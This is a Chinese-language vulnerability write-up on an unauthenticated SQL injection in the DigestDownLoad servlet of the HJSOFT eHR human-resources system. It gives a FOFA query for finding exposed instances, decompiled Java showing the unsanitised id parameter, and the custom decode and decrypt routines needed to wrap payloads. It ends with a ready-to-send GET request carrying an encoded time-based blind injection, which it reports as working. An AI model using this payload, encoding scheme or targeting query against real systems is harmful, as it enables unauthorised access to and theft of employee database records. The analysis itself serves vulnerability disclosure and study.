漏洞简介
宏景人力资源管理系统(eHR)是一款由宏景软件研发的系统。宏景人力资源管理系统的 DigestDownLoad 接口处存在SQL注入漏洞,未经过身份认证的远程攻击者可利用此漏洞执行任意SQL指令,从而窃取数据库敏感信息。
影响版本
fofa语法
app="HJSOFT-HCM"
漏洞分析
根据 WEB-INF/web.xml 中对 DigestDownLoad 的定义如下
<servlet-mapping>
<servlet-name>DigestDownLoad</servlet-name>
<url-pattern>/servlet/DigestDownLoad</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>DigestDownLoad</servlet-name>
<servlet-class>com.hjsj.hrms.servlet.lawbase.DigestDownLoad</servlet-class>
</servlet>
跟进 com.hjsj.hrms.servlet.lawbase.DigestDownLoad 类
public void doGet(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
String var3 = var1.getParameter("id");
var3 = PubFunc.decrypt(SafeCode.decode(var3));
String var4 = var1.getParameter("type");
if (var4 == null) {
var4 = "";
}
首先规定请求方法为 GET ,获取的两个参数 id、type ,需要对 id 进行解码以及解密,可以使用DecryptTools工具或者我写的直接编码加密即可,解码与解密方法如下
public static final String decode(String var0) {
if (var0 == null) {
return "";
} else {
String var1 = "";
for(int var2 = 0; var2 < var0.length(); ++var2) {
char var3;
switch (var3 = var0.charAt(var2)) {
case '^':
String var5 = var0.substring(var2 + 1, var2 + 4 + 1);
var1 = var1 + (char)Integer.parseInt(var5, 16);
var2 += 4;
break;
case '~':
String var4 = var0.substring(var2 + 1, var2 + 4 - 1);
var1 = var1 + (char)Integer.parseInt(var4, 16);
var2 += 2;
break;
default:
var1 = var1 + var3;
}
}
return var1;
}
}
public static String decrypt(String var0) {
if (null == var0) {
return "";
} else {
var0 = var0.replaceAll("PAATTP", "@");
var0 = var0.replaceAll("@2HJ5@", "%");
var0 = var0.replaceAll("@2HJB@", "\\+");
var0 = var0.replaceAll("@2HJ0@", " ");
var0 = var0.replaceAll("@2HJF@", "\\/");
var0 = var0.replaceAll("@3HJF@", "\\?");
var0 = var0.replaceAll("@2HJ3@", "#");
var0 = var0.replaceAll("@2HJ6@", "&");
var0 = var0.replaceAll("@3HJD@", "=");
String var1 = SafeCode.decrypt(var0);
return var1;
}
}
当 var4=original 时,执行以下处理逻辑
var5 = var7.createStatement();
String var12 = "";
if (var4.equalsIgnoreCase("original")) {
String var13 = "select name,digest,originalfile from law_base_file where file_id = '" + var3 + "'";
var10.open(var7, var13);
var6 = var5.executeQuery(var13);
} else {
String var30 = "select name,digest,content from law_base_file where file_id = '" + var3 + "'";
var10.open(var7, var30);
var6 = var5.executeQuery(var30);
}
否则执行 else 部分,而两处的处理里对于 var3 都没有任何过滤或校验,被直接拼接进sql语句中执行,造成SQL注入漏。
漏洞复现
漏洞利用使用 1'waitfor delay'0:0:5'-- 加密编码后来测试
GET /servlet/DigestDownLoad?id=SPAATTP~32HJFPAATTPJPAATTP~32HJFPAATTPHNvno~33W~39Sm~33WBgDEqPAATTP~32HJFPAATTPWzCGPAATTP~32HJBPAATTPS~30TBXpcPpPAATTP~32HJFPAATTP~37~39l~37h~38PAATTP~33HJDPAATTP HTTP/1.1
Host: hjsoft.mrxn.net

成功延时 5 秒
不编码,直接使用加密后的payload也是可以的
SPAATTP2HJFPAATTPJPAATTP2HJFPAATTPHNvno3W9Sm3WBgDEqPAATTP2HJFPAATTPWzCGPAATTP2HJBPAATTPS0TBXpcPpPAATTP2HJFPAATTP79l7h8PAATTP3HJDPAATTP


